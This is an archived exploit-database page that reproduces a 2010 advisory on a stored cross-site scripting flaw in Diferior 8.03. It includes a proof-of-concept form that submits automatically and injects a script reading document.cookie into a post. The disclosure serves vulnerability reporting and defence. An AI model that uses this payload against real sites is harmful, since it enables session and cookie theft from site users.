[webapps / 0day] - Diferior 8.03 XSS Vulnerability
Posted on 29 November 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Diferior 8.03 XSS Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Diferior 8.03 XSS Vulnerability by High-Tech Bridge . in webapps / 0day | Inj3ct0r 1337 - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_setDomainName", "none"]);_gaq.push(["_setAllowLinker", true]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>=============================== Diferior 8.03 XSS Vulnerability =============================== Product: Diferior Vendor: Povilas Musteikis ( http://www.diferior.com/ ) Vulnerable Version: 8.03 and probably prior versions Vendor Notification: Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "views/post.php" script to properly sanitize user-supplied input in "post_content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/post/edit/2/p1.html" method="post" enctype="multipart/form-data" name="main"> <input type="hidden" name="category" value="sample-category-1"> <input type="hidden" name="header" value="Sample post"> <input type="hidden" name="subheader" value="Sample subheader"> <input type="hidden" name="post_content" value='html<script>alert(document.cookie)</script>'> <input type="hidden" name="schedule" value="now"> <input type="hidden" name="scheduler" value="10/11/23"> <input type="hidden" name="Date_Year" value="2010"> <input type="hidden" name="Date_Month" value="11"> <input type="hidden" name="Date_Day" value="22"> <input type="hidden" name="Time_Hour" value="20"> <input type="hidden" name="Time_Minute" value="47"> <input type="hidden" name="Time_Second" value="23"> <input type="hidden" name="usehtml" value="html"> </form> <script> document.main.submit(); </script> # <a href='http://1337db.com/'>1337db.com</a> [2010-11-29]</pre></body></html>